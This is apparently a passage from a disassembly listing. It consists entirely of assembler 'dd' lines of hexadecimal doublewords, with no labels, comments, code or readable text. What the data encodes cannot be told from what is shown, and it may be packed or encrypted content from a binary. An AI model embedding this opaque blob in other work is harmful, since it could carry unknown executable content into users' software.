		dd 3001F42Fh, 0A7D06102h, 80F0C111h, 0D3ED0110h, 3F038Eh
		dd 0D00F19CEh, 0D493C19Bh, 0FF67970Ch, 7E12920h, 91272154h
		dd 0F8DDB39Eh, 95A1DFBBh, 0EF8CE405h, 9AF0200Ch, 0E430F1h
		dd 0DD1A5CEDh, 0BC5F5DEBh, 971C2A00h, 0F6B0D16Ch, 8A5B0084h
		dd 0B79C6766h, 0FB0C389Bh, 4196F169h, 71C300F4h, 8491E8DCh
		dd 7A7AD903h, 3999D007h, 36B07388h, 60FF1570h, 7D9FA1E8h
		dd 0FA0083F8h, 9AAD22E4h, 0A0181219h, 24A6F974h, 0CDD910Bh
		dd 95680628h, 19841700h, 2EF03668h, 0FE74001Eh,	0E82FCCD8h
		dd 667A5E8Ch, 0FFDAF908h, 859F1Ah, 43987D3Dh, 0E7FAFA64h
		dd 229D7703h, 7F9E9461h, 31676FC1h, 1F779000h, 3B038163h
		dd 7838E9E2h, 196DC391h, 9110CF21h, 570370C8h, 0FA2A300h
		dd 210ED615h, 211962EFh, 68821F13h, 0C463A7F8h,	1BA17101h
		dd 55AA9B62h, 0EB21C0h,	57986551h, 0F0540ADAh, 9AA0D264h
		dd 173B9C21h, 0E2617BCFh
		dd 0B7CB10F9h, 0EBC0EE12h, 48660C03h, 0E31386Ah, 558EA00h
		dd 2F9A60A8h, 0E6FF7818h, 0F3BD239h, 0C353848Dh, 24706080h
		dd 3DEE09CAh, 65916714h, 11900D24h, 0D0E0791Dh,	848E003Dh
		dd 99FD5B41h, 2B50B01Eh, 11F11A7Ch, 419D6E48h, 0C0274032h
		dd 0B54D4A24h, 4F6FBD00h, 0C7DAAC7Ch, 0F8391DF9h, 0D7E34066h
		dd 783A9DF4h, 0C8304090h, 0CF925925h, 807600E1h, 64C751D5h
		dd 5E03D9A0h, 9883D412h, 9472F88Ah, 954502C0h, 0C1CF1B90h
		dd 6B9DA0A2h, 2296EA13h, 0D5201DFEh, 0C41750h, 0E012BD22h
		dd 0A3E161C9h, 231EE04h, 99861F81h, 0C0ADE489h,	0E6CB4241h
		dd 24077134h, 384D2F55h, 0A8E78F80h, 39951E6Fh,	9490D548h
		dd 4917B584h, 0F7B0230Dh, 0FC480C3h, 442A0060h,	61D8677Ch
		dd 0A98B9998h, 0C1823163h, 0D3F3D638h, 0E308C88Eh, 77C4349Eh
		dd 79C0D154h, 6097EC0Fh, 6F0269F0h, 0EB04C870h,	6269FA0Ch
		dd 18B49481h, 87792180h, 469E5347h, 1197DB05h, 0E0222119h
		dd 0B4DD236Dh, 0E12D05F0h, 3A1A0E00h, 299AABE4h, 699260F0h
		dd 5FB6DA6Ah, 0EF00D4E0h, 0B95A5716h, 62EDDFh, 0CDB8F4E1h
		dd 77FE312Bh, 0EC583C66h, 0F1A945E8h, 53799F12h, 0D078E40h
		dd 0DBA0A2h, 0ACB631CBh, 91E5C5C8h, 467BB809h, 978087D4h
		dd 77CE8890h, 61F31409h, 67C89C8Fh, 0F4448E60h,	5678049Eh
		dd 0C35D90D1h, 6FC03D4Ch, 0E0F9F5F9h, 31C03269h, 0D1468D97h
		dd 0FECF2487h, 80A64098h, 6A1F45F9h, 0F29811F4h, 3097CB19h
		dd 0CE799CEFh, 0ED0B3A32h, 7845E54h, 0D871BA97h, 88226791h
		dd 5D80F864h, 43C7054h,	22769BD3h, 6491E480h, 14CF8861h
		dd 36AD8A8h, 0A407ABB0h, 608C6238h, 1FD53D0h, 0EC211BD6h
		dd 0E0F6290Fh, 457B3E04h, 0F0811DE2h, 0E89FF09Ah, 6107629Ch
		dd 3E9DDCC3h, 0DB641BC0h, 0E9FC28FFh, 208245A4h, 78033F3Ah
		dd 39DD641Fh, 9D2010E2h, 0A89099h, 974B4111h, 42F0393h
		dd 4899EF3Eh, 0B3554062h, 0C8B84Eh, 51A59754h, 0F34F7D0Fh
		dd 3D589562h, 0F8180935h, 9F3BC951h, 1B5B8099h,	4B3B436Fh
		dd 1F2D0E5Fh, 4E0DEA23h, 618C3081h, 0FCAC8229h,	0CF186691h
		dd 0C69C5111h, 2EA4C100h, 7AAC6208h, 0B88701F7h, 6E9ABD0Ch
		dd 0B7830C2h, 3C0F8C92h, 0F2BC03DBh, 90D7DC02h,	40D892F0h
		dd 59AE14h, 0FCB277CDh,	0FEEFD1F5h, 12C96701h, 903BC349h
		dd 1109EE5h, 1905476Eh,	0C22B794Bh, 77C7C407h, 383637C7h
		dd 9F2C99F8h, 0B9F28232h, 0AB604C87h, 86130394h, 2004F982h
		dd 0BE5C29D3h, 0C3161E0h, 0B7074223h, 0B5DB11FBh, 0D8800533h
		dd 83AE13h, 0E9310722h,	943FE00Eh, 0A301B1Ah, 0FF4C60D8h
		dd 0CFE53F7Ch, 134659E0h, 1F00EC56h, 0DE7F66D9h, 6031C805h
		dd 2382012h, 6B364C33h,	365840F6h, 20E99F91h, 7CB11275h
		dd 0EBC3ED80h, 981A1417h, 0D6F1063Ch, 316C4867h, 0EB956100h
		dd 2AE15382h, 0D7CA03C7h, 8335459Fh, 7890F9B0h,	8062873Ah
		dd 0A60F84B9h, 6D6675Fh, 9DDB59FDh, 7012109Ah, 7C32012Bh
		dd 4298C69Eh, 0EA1C008Eh, 559D997h, 0CD4B050h, 0A59D62D1h
		dd 9A359821h, 44303964h, 0E8C8C71Ch, 0E8D40059h, 4248470Fh
		dd 7704D3D0h, 9BF01521h, 0F5675E40h, 6D5A1D5Ch,	0D30004ECh
		dd 9FFA474Fh, 822E1BDCh, 92119C45h, 6380B43Fh, 0D976958Ah
		dd 4E60B7FEh, 61B87F20h, 28BEF8D3h, 44B0536Bh, 65019068h
		dd 37262E6Ch, 5430CA29h, 38F4489Dh, 73009F22h, 0B6ADB9A0h
		dd 58FBAE08h, 1622D07Ah, 0C3D68F12h, 19777821h,	0CCCB9000h
		dd 2264F84Ch, 921B0183h, 9A266EA0h, 481C6031h, 5F896560h
		dd 8C4A49h, 0C0D8C997h,	905C5386h, 8B04C798h, 9FC63E33h
		dd 0A330D0D7h, 1766795Ah, 1E9B7F4h, 671E20C2h, 741DD568h
		dd 38F0E2DCh, 0BD553A13h, 32938402h, 817C07EFh,	809DF0A6h
		dd 0F5CBA199h, 1FD51F5Eh, 0F3871D54h, 214AAA08h, 0A07B9683h
		dd 9539E5Fh, 3546E664h,	5434A884h, 1C4F104Ch, 180E9448h
		dd 0A3F6866h, 2D4A587h,	641C0347h, 0BB267440h, 18C5B772h
		dd 74D76FB2h, 0C740E2F4h, 67D9E0EEh, 0E836F924h, 0EFF11930h
		dd 0C5335A3h, 0E7F80C68h, 9780ED21h, 10486590h,	1B2283EFh
		dd 31F02860h, 0CE1FC7ACh, 0CDE71510h, 87B100Ch,	543EAA99h
		dd 4D6080B4h, 6ECAE6C8h, 0B3CF0046h, 29CE53D1h,	78002136h
		dd 7976C437h, 90DF58h, 4A169D8Ah, 206D5C05h, 2A988200h
		dd 0BBBB4B8h, 4FAF0F22h, 0C001BE6h, 4DAA6EFFh, 87985B00h
		dd 0E8230870h, 0B35D00B5h, 804365EFh, 0C200D522h, 5FD66BCCh
		dd 58829837h, 4D3E3F55h, 0F3874400h, 93578A89h,	0D6853A02h
		dd 0E0BE9759h, 73CED1h,	0A1FCEF30h, 66F4D1A3h, 60C82C01h
		dd 324E88B7h, 782FD0D0h, 379D0B4Bh, 43001CF8h, 33C203E1h
		dd 0C1FBD91Dh, 8B213018h, 10613825h, 76896683h,	1800EAC0h
		dd 0E834158h, 28D826h, 81EF6560h, 527E624Eh, 296B0101h
		dd 0DD89C827h, 64A9D300h, 8C79B018h, 914FC10h, 362E379Eh
		dd 0AAC0090Fh, 9BEA7C22h, 8060A46Ch, 0EDC03197h, 0EC7A9C71h
		dd 1800DC51h, 13D07062h, 75DAA5CAh, 1F4F0296h, 0C33D78A1h
		dd 32B03900h, 505960C0h, 861958A5h, 0D75981F3h,	0CCDC7669h
		dd 1DA14760h, 15D48CB4h, 93D8CDAh, 5D6F7500h, 11A820C9h
		dd 0FE2EBE00h, 0D5AFD204h, 247F287Ah, 1268C2B5h, 0E4134894h
		dd 41606262h, 0D55564CCh, 0F220DA34h, 40759Ah, 5EE45C7h
		dd 0DC194CA8h, 0F45848D9h, 18CAC18Fh, 307471A7h, 55EE19F8h
		dd 472AA501h, 5F7D418Ch, 0E0D9F9D0h, 57F003Ah, 493DADDh
		dd 0C80FA491h, 0A0844DE7h, 0DB669AEAh, 954C1FD0h, 0E9DC80EFh
		dd 4DB811DDh, 58978D00h, 6152CF6h, 0FEA3004Eh, 0A93CB5A0h
		dd 50017951h, 7F937091h, 3FF40FF2h, 37890012h, 5D2E7552h
		dd 8B0062ADh, 80EBF1ABh, 738535Eh, 157763A5h, 45E10E2Bh
		dd 3F60077Dh, 0D898E0h,	20B64DD1h, 0DB72F8EBh, 84749506h
		dd 284964h, 6DECCDFh, 0B1484AC4h, 0E5AF2801h, 0D69B2689h
		dd 58CA60F0h, 0EC004EFEh, 57038D7Ch, 0E70BAA58h, 80DEF9D5h
		dd 82E8A77Ch, 3FC01C36h, 66A6C65Dh, 86073053h, 0D074B31h
		dd 0EEE26A60h, 3A2774C9h, 677FD49h, 0B294DF15h,	59F880ACh
		dd 0E42A3Ah, 0AA8FBABFh, 0BD917Bh, 0CA66885Eh, 0ED5F0EA6h
		dd 0C13F58C0h, 58E71h, 0E74EF86Ah, 2FBAFE06h, 3DF2C3Eh
		dd 5CE2B7B4h, 51E90067h, 615896CDh, 8500F8D4h, 10594B69h
		dd 72F28FBh, 6786434Dh,	0D5A4C096h, 730BA345h, 80C0CAC3h
		dd 50CF8B84h, 0ACBB3F1Bh, 42D9280h, 0C323E3FCh,	0AE4B5601h
		dd 1C55F6A4h, 0E42F76C0h, 0B11E1FA7h, 8AFF811Ah, 0BA6E434Eh
		dd 2F770080h, 0E8643C68h, 0A9420021h, 3E604172h, 0DE1C55E2h
		dd 0E1000C6Bh, 0A07B9A71h, 4DBB3E12h, 0D3DB0173h, 85F96E67h
		dd 28A5ECD8h, 8CBD38h, 944C259Ch, 0C16DEFC3h, 487AD830h
		dd 41BEC824h, 7070FDEEh, 805ECA30h, 5F7824Dh, 0FC584FB7h
		dd 3801F73h, 844ECB9Ah,	36F64015h, 395D008Ch, 0CE7F8CF2h
		dd 30230349h, 40507438h, 34C4FBE8h, 0D94AB730h,	8BD5B1h
		dd 0BC971F92h, 0DF0C564Fh, 0D2A76100h, 60428E99h, 0B4BA004Ah
		dd 0E6136388h, 7F00751Ch, 97AC7179h, 0A5AA5Ah, 1659CF56h
		dd 3708D7F1h, 48CD0F00h, 0F932B6C2h, 0E867034Ch, 2E835D0Eh
		dd 59C5C0C7h, 0CAC0FF43h, 0DC26CB9Ch, 30C36049h, 0B2225B8Eh
		dd 0CE974A07h, 0E5A056B3h
		dd 769C4940h, 3028CFCFh, 4B60C01Dh, 35BB6C23h, 0DC6FCA03h
		dd 64F039Eh, 38445278h,	1B0031B4h, 5559F6DEh, 7CE81885h
		dd 0BC7D3E9Bh, 39EB2F80h, 96BB1F07h, 2959CE00h,	85BF5044h
		dd 0AA7907A6h, 60C9FBCAh, 0E0232491h, 0BDD1FE1Eh, 20C70387h
		dd 4E83E680h, 0C6160934h, 838CB8A5h, 0B7005228h, 0E89E3AACh
		dd 17E8D8Bh, 0BE5A3BBCh, 808F0C07h, 4ACA3D10h, 0E67A3515h
		dd 0B1A0619Bh, 519707C9h, 0D34344A0h, 645B190Ah, 0AB00944Bh
		dd 0B77047DAh, 0C110006Dh, 23036544h, 0E3003E1Dh, 9F7B46A4h
		dd 69EA1638h, 0CF80F862h, 0FC492D59h, 0A14CA500h, 0F4D906CFh
		dd 644B006Bh, 0BEC63D84h, 530FB650h, 835F8573h,	812D2F5h
		dd 66CF5818h, 0F9D0C39Dh, 860DB004h, 3F620568h,	0D8E78780h
		dd 10F65094h, 0E66A404Eh, 7D67C12Ch, 0F03CD806h, 207DEA20h
		dd 0C8005C2Eh, 614ACB41h, 3EC02C9h, 0B7672DD6h,	4CC1CEE6h
		dd 0C1080E0h, 7C63A229h, 0E737EA6h, 0E483682Eh,	96BF5660h
		dd 0B600B4D9h, 0EED44F19h, 76A321h, 0A9223972h,	20D50332h
		dd 7845A61Dh, 158B2BC0h, 3B8C23h, 84ADFF1Ah, 94E1B512h
		dd 1EC6A648h, 9680796Ch, 0A83262DDh, 82C50095h,	92690E30h
		dd 9A00E02Eh, 55D3A524h, 139CC78h, 5DD9E56Ch, 0F0777BC7h
		dd 3CE8E3BFh, 24838500h, 5673AE2Ch, 48E50190h, 0BE92B920h
		dd 0E845F043h, 0DAA9D400h, 0EDDD3A55h, 0BFDF014Ch, 2B270672h
		dd 7841D6A1h, 0B5089899h, 796221h, 14890B06h, 0FFA8C53Ch
		dd 5540E21Eh, 0E380921Dh, 7D9313B9h, 0BD4C01E4h, 48DF76DDh
		dd 7F4093DCh, 555A0200h, 381306B1h, 30746942h, 1E20DFD3h
		dd 0D17C2ECFh, 0A9248501h, 12E428BAh, 3061C1D8h, 0BF28DF49h
		dd 0CB1D769Fh, 70B60791h, 5A4C0319h, 0AB4952F8h, 4301ECD8h
		dd 8820A36Ch, 0C2908C7Bh, 0D9554F14h, 85A244h, 0E4645172h
		dd 0E64DC51Ch, 8EDCAE01h, 608075CBh, 50C25FA5h,	0E9008C36h
		dd 9CBFD4FBh, 24A94926h, 3929040h, 7FA67203h, 13DEEBE8h
		dd 170ECEF0h, 2FF1D00Fh, 27682286h, 56C609Ah, 497B005Fh
		dd 7AF4BB95h, 0E732BE55h, 0BFEA1048h, 66DA8604h, 330010D8h
		dd 92E8619Eh, 0FDB154Ch, 977131ADh, 0DA423200h,	0B40685EDh
		dd 0DFD833E4h, 11194229h, 0F121C40Bh, 90DEE208h, 0C08E840Dh
		dd 9C429548h, 405124A8h, 2C3F745Eh, 0FA9D0014h,	69E726D2h
		dd 637B4068h, 0BFCCC100h, 242D4DCh, 0A7A9002Eh,	0B77B9E82h
		dd 0BD015940h, 9349AEF2h, 0F9DC2F5Ch, 1B310039h, 536AB4EAh
		dd 691F4CA1h, 0B58084FCh, 9A220121h, 0CFA04C32h, 90F32Eh
		dd 1F2F393Dh, 70F92DA2h, 280054BAh, 0CC227546h,	4F22Ch
		dd 18B408D5h, 0AD81CAE0h, 0FCE68D01h, 0D2893166h, 1EB21080h
		dd 8AB8046Eh, 3988D90Ah, 0C281BC82h, 0D6B729EDh, 9E1E28BAh
		dd 0B8CB47F6h, 72B2A0A6h, 0EB8E73Ah, 8F00E190h,	0B63F22CAh
		dd 0F505D64h, 32F81C1Fh, 69467D40h, 5F00F0ADh, 345156DDh
		dd 1FCFE8h, 0A42AAFAEh,	0E7079528h, 44BACD15h, 5F1F76FCh
		dd 1880802Fh, 0DF684084h, 0B91601ADh, 0F9E90496h, 115DE443h
		dd 4CDB4900h, 10CC2D81h, 6A0B0DCh, 2B563A92h, 76002040h
		dd 0ABA1D1F3h, 0EA23A3h, 0C02E6A6h, 0FDC77F47h,	0F0B81A60h
		dd 0EEBE78A1h, 534E00C4h, 257E4657h, 80ED6592h,	5A9A59C0h
		dd 3852D3C8h, 6E1C281Ah, 79B871h, 0A98E290Bh, 3A63E0D7h
		dd 19EB9B00h, 49713709h, 8DDF038Ah, 0A5CD36E5h,	60F5918Ah
		dd 12B4BCBFh, 0D25D2Eh,	66F37870h, 4400E017h, 639BFD71h
		dd 8BEEC1h, 47CA1E52h, 97FA2EA1h, 0A6406600h, 91D1B81Ah
		dd 5148000Bh, 0F33EC5D7h, 6A007718h, 5480720Fh,	1A79687h
		dd 43BFE342h, 6095687Ah, 13000C8Dh, 5DBBE499h, 3E75EB12h
		dd 0BD00A086h, 2B906348h, 0DD003EA9h, 47A82DBCh, 5B03Bh
		dd 6313574Ch, 4204D967h, 0C00083EEh, 816F1AD4h,	2DD109h
		dd 0DEC2909Eh, 8D42310Eh, 9FAF6D39h, 2CC3CB88h,	0D8B51DDBh
		dd 1E1A6341h, 87EA7C1Eh, 908CAADEh, 0EF9122F8h,	0CFF27AF8h
		dd 5BDC8800h, 0B48639C5h, 929302A6h, 0FA9AB218h, 24331441h
		dd 0BD077394h, 34E014B0h, 98E641E0h, 29550020h,	0D4F5D50Ah
		dd 3F055CE8h, 28AB4C6Bh, 41B38000h, 0B8434E42h,	810E000Eh
		dd 73AD13A1h, 0E271DAF1h, 0B49E412Eh, 79DEAF1Dh, 6EDBD347h
		dd 0F87FA7D0h, 0CA17002Ch, 8932072Fh, 0E800A9DCh, 0F2140CECh
		dd 0B5318Fh, 95919F38h,	3503570Eh, 0D8BAF00h, 2145245Fh
		dd 0A8E636h, 9648E3B6h,	3191FFD4h, 1FF8F148h, 6C00CBFDh
		dd 0AD8FC478h, 0A51600DDh, 5702BF80h, 5803CEB5h, 296B17A8h
		dd 227BB818h, 0F0880473h, 0C091AB40h, 83009C0h,	530003F8h
		dd 0C0D2CE64h, 0FE0CDE8Eh, 0A989003Dh, 0FDCAF071h, 0E0009B4Bh
		dd 0E280EA0Eh, 0E3D8CDh, 2AA71B47h, 0F6535948h,	57FFF400h
		dd 6312EFB8h, 4B250032h, 3D9B7C14h, 1600D468h, 23BB8F93h
		dd 0B62AE9h, 62701E12h,	40B82C2h, 4F8ADA00h, 782861C0h
		dd 38200031h, 0C7657B74h, 9A18623Dh, 0ED187902h, 12243BCCh
		dd 0EA386C80h, 5A5206A7h, 0EEC77E01h, 0D978362Bh, 4321CCh
		dd 0FBB89F60h, 8F1373B9h, 0BE50FF00h, 0D40CB529h, 282F6052h
		dd 2D70464Eh, 0D36C2B00h, 0B30ACF6Bh, 4806E4EAh, 27006C89h
		dd 0B634962Eh, 93BB5C0h, 0EEBC8038h, 2161161Fh,	0F67E0F98h
		dd 4B609F37h, 4172FDFFh, 0B33B3F7Ch, 3AC51D61h,	0A9AC5300h
		dd 3F65Eh, 13715A9Ch, 0ED8FEA55h, 0B50AF800h, 0CDDED1E6h
		dd 0E0145B30h, 0A4056E19h, 1103BF2h, 178F1BC1h,	0C6FE70h
		dd 0FEFD61Ah, 4124D97Ah, 6A8ACA00h, 44100EADh, 65933BA3h
		dd 8B687680h, 954E23ACh, 7CA24607h, 7590CEF1h, 0F469E070h
		dd 36B0D0h, 0F5E8D21Eh,	0C501AD5Ch, 0CE416600h,	0EDEB85B5h
		dd 20D64C45h, 0B9B19514h, 0B630810Fh, 435DE007h, 37D87565h
		dd 5004FD3h, 0EF5BA542h, 90F9CE2h, 1D9449B4h, 0ECDAF500h
		dd 8500E807h, 0D7E31456h, 3F2B12Bh, 3EB53BDCh, 0A07CE940h
		dd 0D6896906h, 10FE10h,	0CE801A05h, 7D0C78Ch, 155F2B00h
		dd 0C022FC98h, 4EE631h,	0EC3587D7h, 0A8854086h,	0EF0020F2h
		dd 1992A3ADh, 3A97132Bh, 0F000C260h, 6D3D46F8h,	21054077h
		dd 0B78818A2h, 235BA480h, 12E2008Eh, 0B534F544h, 0D00558D4h
		dd 0BD3A3D33h, 6647E480h, 900F01B8h, 6F363454h,	6A2CE46Dh
		dd 0D841500h, 94FA61EEh, 0E71C00CCh, 9DEBBAADh,	0B37E3342h
		dd 0FC9ADC01h, 5C43A7D9h, 0AD45C0h, 4A5A202h, 0C6037191h
		dd 73B2003h, 0E83D80A9h, 0F56C29h, 0A8BAF021h, 4A363966h
		dd 51A05200h, 27B52F80h, 0FADA3A57h, 2595E400h,	0BFDA6CAh
		dd 7D961500h, 0A0B334AEh, 6DF90056h, 8258C676h,	77005AFEh
		dd 4C8B98BAh, 3BCDFBh, 0E8469F6Bh, 0B59D8D95h, 0C442240Eh
		dd 939E0292h, 84A58901h, 0E0809A65h, 18BC781Ah,	0EAEAE6CEh
		dd 0F8009E94h, 4273E1A0h, 4C03BAh, 2F6D4338h, 293346FAh
		dd 87788870h, 0B79A0100h, 4EE0E922h, 8A2400CAh,	4115F50h
		dd 2000271Fh, 34F3EE75h, 0F0BC710h, 160871BEh, 199B3120h
		dd 9300F10Eh, 464AED4h,	1EBFAA1h, 0F5769779h, 81FB8D82h
		dd 0B3DE1010h, 0DAFC2E84h, 0CE3D03C2h, 965D6F25h, 6EA2FDF0h
		dd 0D826AE00h, 0C4D2B6F9h, 81E6186Ah, 0DE4B4104h, 162DE500h
		dd 8A312141h, 70DC395Ah, 55979B00h, 2BEC48EDh, 0C12C80Fh
		dd 0DBCAA0ABh, 7D326E90h
		dd 4FA0010h, 62A525A8h,	5079A1Ch, 1FB04D3Ch, 0E0B6DE22h
		dd 18695DAAh, 9A03AE2Ah, 68002248h, 46DA7207h, 2E6726h
		dd 30662A3Bh, 0BE40F1A4h, 0FCCA3500h, 8420B36Bh, 5E3B009Fh
		dd 0A28F8BBh, 0BE00CFD6h, 37F01F1Bh, 7AEE7D9Dh,	3BCC0706h
		dd 80705EA7h, 2982B55Fh, 67409B00h, 0B68393DFh,	4DB0097Dh
		dd 99FC5220h, 0D4983700h, 3B6966DEh, 5300D72Fh,	567091EBh
		dd 300FF2EFh, 0A3EC4A9Bh, 1A48F96h, 3A5183FCh, 0F85B4675h
		dd 8B0A512h, 443D7100h,	39C2EECCh, 43D7002Dh, 31AC2B59h
		dd 8B3D9F24h, 5AB100E5h, 7886B7C9h, 826A004Eh, 37E4EAAAh
		dd 610004BCh, 4F48799Ch, 58D9F659h, 0EE00A3CAh,	95F3B4A8h
		dd 98601675h, 816ACE90h, 0B1F00E2Ah, 0F960A48Ch, 0A666575Dh
		dd 0ED30F800h, 0BDE348D0h, 29CB09Ah, 5F179036h,	0C540FCE6h
		dd 0FE0EBB1Fh, 2169D8E4h, 0BDCA531Bh, 0D7FC880h, 2B96BC1h
		dd 66A5EB03h, 711B6121h, 0CEE800E0h, 0EACD0648h, 9F05E396h
		dd 9061986Fh, 95B73AC0h, 8CF8E7h, 384D3BD9h, 17B05E47h
		dd 974C300h, 8EABF21Dh,	22BA3C8Bh, 6E80B5B9h, 394234D1h
		dd 687DE199h, 0DF0B2300h, 0C8CF19BEh, 14610B2Ch, 800858Ch
		dd 841E768Dh, 3949FE00h, 0E9AA6B7Fh, 995428F0h,	7933EC8Ch
		dd 60E181h, 0B2530EABh,	9EE283D0h, 7840B877h, 6B00997Bh
		dd 0ACD275EDh, 0C70AE4Ch, 0B76576FDh, 0C77A4D20h, 0D010521Ch
		dd 0CE5AB240h, 6CC07Fh,	197C9F6Dh, 4C8D0B62h, 0CC7EC24h
		dd 59532860h, 0EEC9020h, 0CC5729E6h, 3B030500h,	0BD3B33A0h
		dd 1E930399h, 9C18A4B1h, 0EE3FCCC0h, 707E1CC8h,	0B5D9405Dh
		dd 8C86EF5Ch, 6AE08200h, 0C4EC0774h, 1F1000BEh,	870AFAF8h
		dd 3500BAE3h, 661C0413h, 92A67F6h, 0C462BB42h, 0C36B7000h
		dd 0FC00E1D4h, 0D8F61CB9h, 9031A9h, 520B67FBh, 48A86459h
		dd 9870ED1Ch, 0D67E66C0h, 3B4E9DDBh, 8F00DA6Eh,	6BDF84D4h
		dd 130031DDh, 43C0643Fh, 52AC430h, 2E955441h, 0EB4888CCh
		dd 0CABD7317h, 8318DD00h, 0C8E78Fh, 0C75002B3h,	7704B07Fh
		dd 7E3D280Fh, 82114058h, 813808h, 327CF802h, 1B95A55Eh
		dd 77D7E002h, 40A10E06h, 129094h, 0FC0F31B4h, 0A558EE18h
		dd 63DC48h, 9B3A9263h, 5D070h, 1064C438h, 6CD1A3BDh, 5B795D04h
		dd 0BCC055DBh, 2452D3DFh, 0E0103265h, 8C684940h, 17935007h
		dd 9880731Ah, 1C5A066Ah, 13B6D9D3h, 21BC27ACh, 0AF0577h
		dd 596FE6E0h, 3802F406h, 4D7401A0h, 3D65F880h, 403DD93h
		dd 0BE0D15B6h, 2980A7D1h, 49D517A7h, 4407145Fh,	8068C85Dh
		dd 666F5CE7h, 0BD2F8600h, 5A7F2143h, 642800D6h,	4E2051C2h
		dd 331294DEh, 0BC01CDB2h, 0CA266A7h, 9EC82C65h,	0F4514C58h
		dd 0BF5A0380h, 0C404A7C7h, 7BA2D717h, 0AD7F8091h, 60E424CCh
		dd 2D8B10B9h, 4D49B72Ch, 31261278h, 284C4000h, 8FBA7Eh
		dd 0AF275E6Ah, 0EAB5D65Bh, 92003173h, 79FA868Eh, 0FC3A455h
		dd 0F991E5BAh, 3ADAB102h, 11EE63DDh, 1CA2850h, 7B124BF2h
		dd 8050B0ECh, 78C5712Bh, 0DB250113h, 76069D82h,	80BE61BEh
		dd 32981AD9h, 5DEEECh, 33AE92B1h, 201B0836h, 0F0ABBD03h
		dd 0B0A3BA47h, 756F129h, 0FA473F5h, 9D406C6Dh, 21DAFB1Dh
		dd 0A3800464h, 0B445CE1Ch, 0EB6B008Ch, 0B3533883h, 8950B230h
		dd 6790DA88h, 0A94B61Ch, 14D49180h, 1BB3B29h, 0FA15F292h
		dd 0F0D1F16Dh, 0DF09C4C9h, 5842034Fh, 0EEB9248Ch, 94470300h
		dd 5070CE79h, 0DED9AE00h, 0B032F629h, 3E770002h, 0BC400773h
		dd 0C658065Bh, 0A49E00C8h, 0B3A3B488h, 69FC2Dh,	9F307661h
		dd 3DCC2C16h, 0B998470Eh, 0BF1C637Dh, 808CE29Ah, 0DF8F7FACh
		dd 0C2D53D2Ch, 4F60380h, 0C671994Bh, 22C51600h,	0B215683Fh
		dd 0CC76F7h, 953DF217h,	58FE0DF1h, 0AA5BA300h, 66998D4Ah
		dd 24843FFDh, 3F016C5Ch, 1057CC1Ch, 1647FC58h, 283ED7B8h
		dd 0FCA30049h, 138EDE11h, 53F900BCh, 0EE8B6045h, 382C9A47h
		dd 0D540988Dh, 5598CEh,	80507AA7h, 2939FE30h, 7870B89Ah
		dd 3B00C87Dh, 62177FDFh, 68B6CD36h, 0C0A4DAh, 1B0D5275h
		dd 0AF031C01h, 0B3E7F8E9h, 9F661310h, 77400045h, 1F4FA883h
		dd 6620B09h, 2930031Eh,	73E8A96Fh, 480870h, 9F5C14D9h
		dd 1B85A53h, 7ED06302h,	0C05F64DFh, 0F6E93854h,	4BD30098h
		dd 0FD8A251Ah, 0EEF6CB6Bh, 0F843D003h, 0E02AFE0Ch, 7819C0h
		dd 0DC535231h, 0DFFDC7BCh, 5C63E400h, 99159BB4h, 0B96E0070h
		dd 437EF00Ch, 9E0C7FA4h, 0F80E6F78h, 0C3D5131Fh, 0F2A2008Dh
		dd 0CB8FA5ECh, 6ADDE600h, 3B04323Eh, 4D3700C8h,	93F79473h
		dd 96E0FFD9h, 6D0BD3B8h, 11FADDh, 300629E4h, 0DBAA00DEh
		dd 0C0B916BDh, 4A014797h, 7E3A1360h, 746049F9h,	0FB992CDCh
		dd 7CC1FE4h, 206D2047h,	0AB30CDD0h, 0D4A2C300h,	43F7995Bh
		dd 0F3E72411h, 5F6F0930h, 12051500h, 0E60213CBh, 0A06A3C54h
		dd 0A450B0h, 0E221D78Ch, 8714BCE7h, 0C36E3F00h,	0C92AFD16h
		dd 190B0E13h, 37C3BB7Bh, 0F3FAB40Eh, 4A6F3040h,	0BEF05C41h
		dd 227E28C7h, 0B87F3FDCh, 405FF29Fh, 2B729F70h,	4B09C160h
		dd 80D176A5h, 62FB7D80h, 0AA6E0980h, 18AE0EB6h,	47469C80h
		dd 0F200FA88h, 0DF78B4A7h, 58B52D6Ah, 4030452Fh, 0C8D1C928h
		dd 741F0603h, 0C1E1D654h, 0BDF3B30h, 0BC88E721h, 0DD657C81h
		dd 0AA583495h, 23A2FB02h, 0E0BFDB2Bh, 2D4098h, 56029BA0h
		dd 0E491D95Eh, 6B263F00h, 0A5051735h, 0D34200FAh, 1CC66E08h
		dd 0CDE8BE5Ah, 44019300h, 762F1562h, 1092618Ah,	0F35D9AE5h
		dd 0B9B2AF0h, 7DA3DA00h, 70D4FC3Fh, 791E000Fh, 4C5C6F2Dh
		dd 6409A76Ch, 876AD1h, 2632DB64h, 0B2CB0047h, 441C7A79h
		dd 0F6000906h, 751FB40Fh, 4562C0h, 2E5A0791h, 9AC96771h
		dd 7B432800h, 0AAF52CABh, 9B31001Fh, 0BE78264Ah, 2D26A127h
		dd 5B40E0DBh, 577DD4h, 846CE792h, 0CB91A804h, 0D62CCA76h
		dd 14001E1Eh, 53F0EC66h, 0B2A600B1h, 7A6FDE92h,	384A3AE9h
		dd 54D0F405h, 50D75882h, 23861F68h, 0AEC3D4D8h,	9A40590Ch
		dd 137D1919h, 0D6A11D03h, 0A0A40860h, 0CED41784h, 0D7C57B20h
		dd 22C3C06Ah, 1A003388h, 8A73EF02h, 0FA821F7h, 98F2859Fh
		dd 7A9C1280h, 0D107C25Eh, 0D3FBAEE3h, 9BCC79B0h, 0F31413F2h
		dd 0B3A80080h, 34521223h, 4B5F80DEh, 0E7A17B46h, 0D1E53E31h
		dd 0D7761B8Ah, 415B808Ch, 122BBB9Ah, 818B117h, 58CA590Dh
		dd 0DBEC2080h, 0D53605BEh, 59040714h, 0F34A00B7h, 0EE71989Dh
		dd 0E20C3BE6h, 25067080h, 0CDBBFA59h, 0B2627B12h, 802CA30Eh
		dd 4CDD3A18h, 0F31B005Eh, 242B445Bh, 0AB009C01h, 98DE061Ah
		dd 2F5CC8CEh, 690036CFh, 0D4815A84h, 0BA6F3Fh, 89B7172Ch
		dd 768271h, 0B59179FEh,	43C8027Eh, 0EF1E863h, 4C1089CBh
		dd 780411A3h, 0E4A8B5F1h, 0B600506Eh, 5391AE6Ch, 0C0DCCAE6h
		dd 4F8FA2B4h, 0F75206Ah, 0D85D680Ch, 88BF29A8h,	0F207F4C1h
		dd 23763C4Eh, 0C3AD8B50h, 7614B811h, 5CDC0053h,	2671D175h
